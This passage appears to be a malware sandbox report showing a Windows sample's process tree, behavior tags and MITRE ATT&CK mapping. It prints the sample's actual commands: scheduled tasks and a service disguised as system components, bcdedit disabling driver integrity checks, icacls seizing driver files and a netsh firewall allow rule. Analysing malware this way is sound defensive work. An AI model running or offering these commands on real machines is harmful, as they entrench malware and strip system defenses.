C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_OnUnlock" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_OnIdle" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "svchost_Evt4624" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\net.exe"net" start WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend4⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_72b9de5c" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_72b9de5c" /XML "C:\Users\Admin\AppData\Local\Temp\8ed216c0-b6bf-4c08-8968-20d485cd75b1.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set nointegritychecks on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_7276b4f6" /F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_7276b4f6" /XML "C:\Users\Admin\AppData\Local\Temp\4280c8bd-12a0-4871-99f9-f2db07f06f07.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys.bak" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_08fa3048" /F3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys.bak" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "StartupAppTask_08fa3048" /XML "C:\Users\Admin\AppData\Local\Temp\cbc99568-c3a5-4a9c-bfa0-15a7f35755d5.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D3⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_42fc146d" /F3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_42fc146d" /XML "C:\Users\Admin\AppData\Local\Temp\db796dad-4e96-4cb6-aa23-67be13df4bbc.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e5508c96" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e5508c96" /XML "C:\Users\Admin\AppData\Local\Temp\81105e07-6534-42dc-a44f-5dea3ba87a33.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_c5481806" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_c5481806" /XML "C:\Users\Admin\AppData\Local\Temp\b52a0d0d-e94f-49f7-adf5-8eb728fda2d4.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /D3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exeC:\Users\Admin\AppData\Local\Temp\2026-09-27_94e639d588ae5028be6ce6a9c1b74145_amadey_darkgate_glassworm_icedid.exe1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exeC:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\system32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" enable=yes & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Roaming\System32\BootFiles\BootExecutor.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_277fe1ae" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_277fe1ae" /XML "C:\Users\Admin\AppData\Local\Temp\4d23728b-07b0-4590-bb7c-4289b904e169.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_6eba2313" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyRefreshTask_6eba2313" /XML "C:\Users\Admin\AppData\Local\Temp\c6f4ded8-c0a6-4d57-80c3-97eb5e82d8ab.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2f1dfdb1" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2f1dfdb1" /XML "C:\Users\Admin\AppData\Local\Temp\95569f05-b33d-4e72-87d2-7933f247993f.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_b01dec65" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_b01dec65" /XML "C:\Users\Admin\AppData\Local\Temp\b6f563d3-0663-4392-813c-31fef9cd37b2.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_eb41c83c" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_eb41c83c" /XML "C:\Users\Admin\AppData\Local\Temp\362fba7b-2719-4dab-8a16-dd160345cd8e.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_add865bf" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_add865bf" /XML "C:\Users\Admin\AppData\Local\Temp\46a5a228-db14-4867-be32-ac7fcb499e45.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /S2⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "svchost" /tr "C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" T: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" U: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" V: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" W: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" X: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Y: /D2⤵
- Enumerates connected drives
-
-
C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
6Disable or Modify System Firewall
1Disable or Modify Tools
4Masquerading
1Match Legitimate Name or Location
1Modify Registry
6Replay Monitor
Loading Replay Monitor...
Downloads
RuntimeBroker.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
0ce0211c-18a3-4001-9010-4da4353cb77c.xml
362fba7b-2719-4dab-8a16-dd160345cd8e.xml
4280c8bd-12a0-4871-99f9-f2db07f06f07.xml
46a5a228-db14-4867-be32-ac7fcb499e45.xml
4d23728b-07b0-4590-bb7c-4289b904e169.xml
81105e07-6534-42dc-a44f-5dea3ba87a33.xml
8ed216c0-b6bf-4c08-8968-20d485cd75b1.xml
95569f05-b33d-4e72-87d2-7933f247993f.xml
__PSScriptPolicyTest_f01213jc.c32.ps1
b52a0d0d-e94f-49f7-adf5-8eb728fda2d4.xml
b6f563d3-0663-4392-813c-31fef9cd37b2.xml
c6f4ded8-c0a6-4d57-80c3-97eb5e82d8ab.xml
cbc99568-c3a5-4a9c-bfa0-15a7f35755d5.xml
